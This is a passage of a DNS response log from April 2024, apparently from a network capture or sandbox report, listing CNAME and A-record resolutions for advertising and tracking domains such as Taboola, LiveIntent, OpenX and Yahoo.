Apr 28, 2024 00:41:59.395102024 CEST	1.1.1.1	192.168.2.4	0xda93	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.409975052 CEST	1.1.1.1	192.168.2.4	0x5abd	No error (0)	cms.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.409975052 CEST	1.1.1.1	192.168.2.4	0x5abd	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.409975052 CEST	1.1.1.1	192.168.2.4	0x5abd	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.409975052 CEST	1.1.1.1	192.168.2.4	0x5abd	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.409975052 CEST	1.1.1.1	192.168.2.4	0x5abd	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.411024094 CEST	1.1.1.1	192.168.2.4	0x95b2	No error (0)	cms.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.411024094 CEST	1.1.1.1	192.168.2.4	0x95b2	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-west-2.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.411024094 CEST	1.1.1.1	192.168.2.4	0x95b2	No error (0)	prod.ups-ats.us-west-2.aolp-ds-prd.aws.oath.cloud	ats-eks.us-west-2.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.503762960 CEST	1.1.1.1	192.168.2.4	0x4ffd	No error (0)	noa.yahoo.com	noa-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.503762960 CEST	1.1.1.1	192.168.2.4	0x4ffd	No error (0)	noa-atsv2.media.g03.yahoodns.net		66.218.87.15	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.505239010 CEST	1.1.1.1	192.168.2.4	0x70e6	No error (0)	noa.yahoo.com	noa-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.511698961 CEST	1.1.1.1	192.168.2.4	0x50a0	No error (0)	rp.liadm.com	livepixel-production.bln.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.511698961 CEST	1.1.1.1	192.168.2.4	0x50a0	No error (0)	livepixel-production.bln.liveintent.com		18.213.248.104	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.511698961 CEST	1.1.1.1	192.168.2.4	0x50a0	No error (0)	livepixel-production.bln.liveintent.com		3.226.199.67	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.511698961 CEST	1.1.1.1	192.168.2.4	0x50a0	No error (0)	livepixel-production.bln.liveintent.com		3.211.187.139	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.511698961 CEST	1.1.1.1	192.168.2.4	0x50a0	No error (0)	livepixel-production.bln.liveintent.com		52.6.44.222	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.511698961 CEST	1.1.1.1	192.168.2.4	0x50a0	No error (0)	livepixel-production.bln.liveintent.com		52.73.55.10	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.511698961 CEST	1.1.1.1	192.168.2.4	0x50a0	No error (0)	livepixel-production.bln.liveintent.com		3.224.142.247	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.511698961 CEST	1.1.1.1	192.168.2.4	0x50a0	No error (0)	livepixel-production.bln.liveintent.com		18.214.152.238	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.511698961 CEST	1.1.1.1	192.168.2.4	0x50a0	No error (0)	livepixel-production.bln.liveintent.com		3.222.54.25	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.512643099 CEST	1.1.1.1	192.168.2.4	0xca83	No error (0)	rp.liadm.com	livepixel-production.bln.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.830332994 CEST	1.1.1.1	192.168.2.4	0x2a58	No error (0)	creativecdn.com		185.184.8.90	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.943016052 CEST	1.1.1.1	192.168.2.4	0x73d7	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.943042040 CEST	1.1.1.1	192.168.2.4	0x1c2f	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.943104982 CEST	1.1.1.1	192.168.2.4	0x2ac3	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.943104982 CEST	1.1.1.1	192.168.2.4	0x2ac3	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.943104982 CEST	1.1.1.1	192.168.2.4	0x2ac3	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.943104982 CEST	1.1.1.1	192.168.2.4	0x2ac3	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.943104982 CEST	1.1.1.1	192.168.2.4	0x2ac3	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.944319010 CEST	1.1.1.1	192.168.2.4	0x815c	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.948844910 CEST	1.1.1.1	192.168.2.4	0xd4c7	No error (0)	idx.liadm.com	idx.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.954862118 CEST	1.1.1.1	192.168.2.4	0x957a	No error (0)	idx.liadm.com	idx.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.954862118 CEST	1.1.1.1	192.168.2.4	0x957a	No error (0)	idx.cph.liveintent.com		52.71.150.146	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.954862118 CEST	1.1.1.1	192.168.2.4	0x957a	No error (0)	idx.cph.liveintent.com		50.17.64.189	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.954862118 CEST	1.1.1.1	192.168.2.4	0x957a	No error (0)	idx.cph.liveintent.com		44.218.166.165	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.954862118 CEST	1.1.1.1	192.168.2.4	0x957a	No error (0)	idx.cph.liveintent.com		3.212.94.212	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.954862118 CEST	1.1.1.1	192.168.2.4	0x957a	No error (0)	idx.cph.liveintent.com		52.20.91.175	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.954862118 CEST	1.1.1.1	192.168.2.4	0x957a	No error (0)	idx.cph.liveintent.com		54.235.118.94	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.954862118 CEST	1.1.1.1	192.168.2.4	0x957a	No error (0)	idx.cph.liveintent.com		3.227.41.225	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.954862118 CEST	1.1.1.1	192.168.2.4	0x957a	No error (0)	idx.cph.liveintent.com		3.212.155.45	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.954946995 CEST	1.1.1.1	192.168.2.4	0xa52a	No error (0)	i.clean.gg		34.95.69.49	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958450079 CEST	1.1.1.1	192.168.2.4	0x395	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958450079 CEST	1.1.1.1	192.168.2.4	0x395	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958450079 CEST	1.1.1.1	192.168.2.4	0x395	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958450079 CEST	1.1.1.1	192.168.2.4	0x395	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		18.215.86.139	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958450079 CEST	1.1.1.1	192.168.2.4	0x395	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		3.210.17.65	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958450079 CEST	1.1.1.1	192.168.2.4	0x395	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		52.202.107.174	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958450079 CEST	1.1.1.1	192.168.2.4	0x395	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		44.217.160.157	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958450079 CEST	1.1.1.1	192.168.2.4	0x395	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		44.216.52.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958450079 CEST	1.1.1.1	192.168.2.4	0x395	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		3.215.223.76	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958450079 CEST	1.1.1.1	192.168.2.4	0x395	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		44.217.206.2	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958450079 CEST	1.1.1.1	192.168.2.4	0x395	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		52.0.46.206	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958831072 CEST	1.1.1.1	192.168.2.4	0xe74c	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958831072 CEST	1.1.1.1	192.168.2.4	0xe74c	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.958831072 CEST	1.1.1.1	192.168.2.4	0xe74c	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.959531069 CEST	1.1.1.1	192.168.2.4	0xb205	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.960820913 CEST	1.1.1.1	192.168.2.4	0x7fc3	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.960820913 CEST	1.1.1.1	192.168.2.4	0x7fc3	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.960820913 CEST	1.1.1.1	192.168.2.4	0x7fc3	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.963875055 CEST	1.1.1.1	192.168.2.4	0x5367	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.963875055 CEST	1.1.1.1	192.168.2.4	0x5367	No error (0)	uipus.semasio.net		50.57.31.206	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.964694977 CEST	1.1.1.1	192.168.2.4	0x1228	No error (0)	uipglob.semasio.net	uipglob.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:59.979898930 CEST	1.1.1.1	192.168.2.4	0xb053	No error (0)	htlb.casalemedia.com			65	IN (0x0001)	false
Apr 28, 2024 00:41:59.979917049 CEST	1.1.1.1	192.168.2.4	0xa344	No error (0)	htlb.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.979917049 CEST	1.1.1.1	192.168.2.4	0xa344	No error (0)	htlb.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.027545929 CEST	1.1.1.1	192.168.2.4	0xa3a8	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:00.027775049 CEST	1.1.1.1	192.168.2.4	0x3b28	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:00.147198915 CEST	1.1.1.1	192.168.2.4	0xa881	No error (0)	prebid.media.net		34.120.63.153	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.273515940 CEST	1.1.1.1	192.168.2.4	0xd7de	No error (0)	rtb.openx.net		35.227.252.103	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.273515940 CEST	1.1.1.1	192.168.2.4	0xd7de	No error (0)	rtb.openx.net		35.186.253.211	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.330240965 CEST	1.1.1.1	192.168.2.4	0xc68c	No error (0)	tlx.3lift.com	us-west-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:00.330393076 CEST	1.1.1.1	192.168.2.4	0x8fc2	No error (0)	tlx.3lift.com	us-east-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:00.330393076 CEST	1.1.1.1	192.168.2.4	0x8fc2	No error (0)	us-east-tlx.3lift.com		107.22.180.23	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.330393076 CEST	1.1.1.1	192.168.2.4	0x8fc2	No error (0)	us-east-tlx.3lift.com		3.222.148.106	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.330393076 CEST	1.1.1.1	192.168.2.4	0x8fc2	No error (0)	us-east-tlx.3lift.com		3.233.183.24	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.330393076 CEST	1.1.1.1	192.168.2.4	0x8fc2	No error (0)	us-east-tlx.3lift.com		3.218.122.15	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.330393076 CEST	1.1.1.1	192.168.2.4	0x8fc2	No error (0)	us-east-tlx.3lift.com		34.206.91.202	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.429049969 CEST	1.1.1.1	192.168.2.4	0xfc40	No error (0)	pagead-googlehosted.l.google.com		172.253.122.132	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.516697884 CEST	1.1.1.1	192.168.2.4	0xcc3f	No error (0)	rp.liadm.com	livepixel-production.bln.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:00.516697884 CEST	1.1.1.1	192.168.2.4	0xcc3f	No error (0)	livepixel-production.bln.liveintent.com		3.229.34.212	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.516697884 CEST	1.1.1.1	192.168.2.4	0xcc3f	No error (0)	livepixel-production.bln.liveintent.com		52.73.55.10	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.516697884 CEST	1.1.1.1	192.168.2.4	0xcc3f	No error (0)	livepixel-production.bln.liveintent.com		18.214.152.238	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.516697884 CEST	1.1.1.1	192.168.2.4	0xcc3f	No error (0)	livepixel-production.bln.liveintent.com		34.203.182.210	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.516697884 CEST	1.1.1.1	192.168.2.4	0xcc3f	No error (0)	livepixel-production.bln.liveintent.com		52.6.44.222	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.516697884 CEST	1.1.1.1	192.168.2.4	0xcc3f	No error (0)	livepixel-production.bln.liveintent.com		54.157.163.103	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.516697884 CEST	1.1.1.1	192.168.2.4	0xcc3f	No error (0)	livepixel-production.bln.liveintent.com		44.210.8.129	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.516697884 CEST	1.1.1.1	192.168.2.4	0xcc3f	No error (0)	livepixel-production.bln.liveintent.com		54.234.246.248	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.516858101 CEST	1.1.1.1	192.168.2.4	0x2ad9	No error (0)	rp.liadm.com	livepixel-production.bln.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:00.841147900 CEST	1.1.1.1	192.168.2.4	0x90d4	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:00.841147900 CEST	1.1.1.1	192.168.2.4	0x90d4	No error (0)	match-us-east-1-ecs.sharethrough.com		35.172.59.103	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.841147900 CEST	1.1.1.1	192.168.2.4	0x90d4	No error (0)	match-us-east-1-ecs.sharethrough.com		34.202.147.20	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.841147900 CEST	1.1.1.1	192.168.2.4	0x90d4	No error (0)	match-us-east-1-ecs.sharethrough.com		34.196.207.248	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.841147900 CEST	1.1.1.1	192.168.2.4	0x90d4	No error (0)	match-us-east-1-ecs.sharethrough.com		3.222.141.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.841147900 CEST	1.1.1.1	192.168.2.4	0x90d4	No error (0)	match-us-east-1-ecs.sharethrough.com		44.217.108.225	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.841147900 CEST	1.1.1.1	192.168.2.4	0x90d4	No error (0)	match-us-east-1-ecs.sharethrough.com		34.232.218.180	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.841147900 CEST	1.1.1.1	192.168.2.4	0x90d4	No error (0)	match-us-east-1-ecs.sharethrough.com		184.72.228.207	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.841147900 CEST	1.1.1.1	192.168.2.4	0x90d4	No error (0)	match-us-east-1-ecs.sharethrough.com		52.206.13.146	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.841468096 CEST	1.1.1.1	192.168.2.4	0x14c0	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:01.317600012 CEST	1.1.1.1	192.168.2.4	0x4935	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:01.317600012 CEST	1.1.1.1	192.168.2.4	0x4935	No error (0)	match-us-east-1-ecs.sharethrough.com		3.210.60.75	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:01.317600012 CEST	1.1.1.1	192.168.2.4	0x4935	No error (0)	match-us-east-1-ecs.sharethrough.com		52.20.207.59	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:01.317600012 CEST	1.1.1.1	192.168.2.4	0x4935	No error (0)	match-us-east-1-ecs.sharethrough.com		184.72.228.207	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:01.317600012 CEST	1.1.1.1	192.168.2.4	0x4935	No error (0)	match-us-east-1-ecs.sharethrough.com		50.16.138.64	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:01.317600012 CEST	1.1.1.1	192.168.2.4	0x4935	No error (0)	match-us-east-1-ecs.sharethrough.com		44.217.108.225	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:01.317600012 CEST	1.1.1.1	192.168.2.4	0x4935	No error (0)	match-us-east-1-ecs.sharethrough.com		54.144.180.147	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:01.317600012 CEST	1.1.1.1	192.168.2.4	0x4935	No error (0)	match-us-east-1-ecs.sharethrough.com		34.205.210.143	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:01.317600012 CEST	1.1.1.1	192.168.2.4	0x4935	No error (0)	match-us-east-1-ecs.sharethrough.com		54.81.37.196	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:01.317919970 CEST	1.1.1.1	192.168.2.4	0x87c2	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:02.486403942 CEST	1.1.1.1	192.168.2.4	0x8c11	No error (0)	static.criteo.net	static.us5.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:02.486562967 CEST	1.1.1.1	192.168.2.4	0x6ab	No error (0)	u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:02.486562967 CEST	1.1.1.1	192.168.2.4	0x6ab	No error (0)	u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:02.486576080 CEST	1.1.1.1	192.168.2.4	0x683b	No error (0)	static.criteo.net	static.us5.vip.prod.criteo.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:02.486576080 CEST	1.1.1.1	192.168.2.4	0x683b	No error (0)	static.us5.vip.prod.criteo.net		74.119.117.4	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449043989 CEST	1.1.1.1	192.168.2.4	0x30b0	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449043989 CEST	1.1.1.1	192.168.2.4	0x30b0	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449043989 CEST	1.1.1.1	192.168.2.4	0x30b0	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449043989 CEST	1.1.1.1	192.168.2.4	0x30b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.209.150.107	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449043989 CEST	1.1.1.1	192.168.2.4	0x30b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		44.213.31.45	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449043989 CEST	1.1.1.1	192.168.2.4	0x30b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.209.151.220	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449043989 CEST	1.1.1.1	192.168.2.4	0x30b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		18.213.176.121	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449043989 CEST	1.1.1.1	192.168.2.4	0x30b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		34.238.141.238	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449043989 CEST	1.1.1.1	192.168.2.4	0x30b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.83.177.201	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449043989 CEST	1.1.1.1	192.168.2.4	0x30b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		44.195.234.127	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449043989 CEST	1.1.1.1	192.168.2.4	0x30b0	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.225.232.240	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449088097 CEST	1.1.1.1	192.168.2.4	0xb6f9	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449088097 CEST	1.1.1.1	192.168.2.4	0xb6f9	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449088097 CEST	1.1.1.1	192.168.2.4	0xb6f9	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449184895 CEST	1.1.1.1	192.168.2.4	0xbdb6	No error (0)	yahoo-bidout-d.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449184895 CEST	1.1.1.1	192.168.2.4	0xbdb6	No error (0)	yahoo-bidout-d.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449650049 CEST	1.1.1.1	192.168.2.4	0xe097	No error (0)	js-sec.indexww.com		172.64.149.180	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.449650049 CEST	1.1.1.1	192.168.2.4	0xe097	No error (0)	js-sec.indexww.com		104.18.38.76	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.450416088 CEST	1.1.1.1	192.168.2.4	0xa6b1	No error (0)	js-sec.indexww.com			65	IN (0x0001)	false
Apr 28, 2024 00:42:04.450491905 CEST	1.1.1.1	192.168.2.4	0xd6d1	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.451539993 CEST	1.1.1.1	192.168.2.4	0x84	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.452817917 CEST	1.1.1.1	192.168.2.4	0x1d10	No error (0)	cdn.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.452874899 CEST	1.1.1.1	192.168.2.4	0x4c80	No error (0)	cdn.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.452874899 CEST	1.1.1.1	192.168.2.4	0x4c80	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.452874899 CEST	1.1.1.1	192.168.2.4	0x4c80	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.452874899 CEST	1.1.1.1	192.168.2.4	0x4c80	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.452874899 CEST	1.1.1.1	192.168.2.4	0x4c80	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.453125954 CEST	1.1.1.1	192.168.2.4	0x7d00	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.453512907 CEST	1.1.1.1	192.168.2.4	0xe92b	No error (0)	contextual.media.net		23.45.148.30	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.453752041 CEST	1.1.1.1	192.168.2.4	0xae51	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.454005957 CEST	1.1.1.1	192.168.2.4	0xd9fd	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.454005957 CEST	1.1.1.1	192.168.2.4	0xd9fd	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.454199076 CEST	1.1.1.1	192.168.2.4	0x55b8	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.454199076 CEST	1.1.1.1	192.168.2.4	0x55b8	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.454199076 CEST	1.1.1.1	192.168.2.4	0x55b8	No error (0)	us-east-eb2.3lift.com		35.71.139.29	A (IP address)	IN (0x0001)	false
